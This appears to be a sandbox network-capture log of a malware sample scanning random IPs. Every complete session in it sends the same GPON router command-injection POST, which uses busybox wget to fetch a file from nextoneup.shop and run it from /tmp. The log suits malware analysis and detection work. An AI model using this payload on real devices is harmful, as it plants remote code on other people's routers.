270	192.168.2.23	60588	148.37.16.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162014961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.23	44546	178.215.167.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162030935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.23	59036	202.5.60.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162065983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.23	39312	210.223.5.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162117004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.23	50632	148.143.105.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162117958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.23	45462	117.225.181.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162163019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.23	47086	94.19.233.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162194014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.23	37996	178.101.115.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162267923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.23	45666	79.77.79.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162267923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.23	47878	117.58.127.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162347078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.23	35392	5.64.210.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162411928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.23	44876	37.105.219.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162411928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.23	37192	79.83.36.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162452936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.23	41252	117.25.130.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162522078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.23	48436	123.102.117.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162549973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.23	39728	148.197.202.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162556887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.23	32856	109.89.128.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162574053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.23	56976	212.96.173.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162614107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.23	37876	117.239.82.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162651062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.23	45204	210.149.57.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162699938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.23	42184	178.91.253.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162731886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.23	38580	178.214.28.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162766933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.23	47884	210.238.35.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162808895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.23	41270	109.252.115.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162832022 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.23	39338	79.92.99.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162870884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.23	45908	37.140.234.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.162906885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 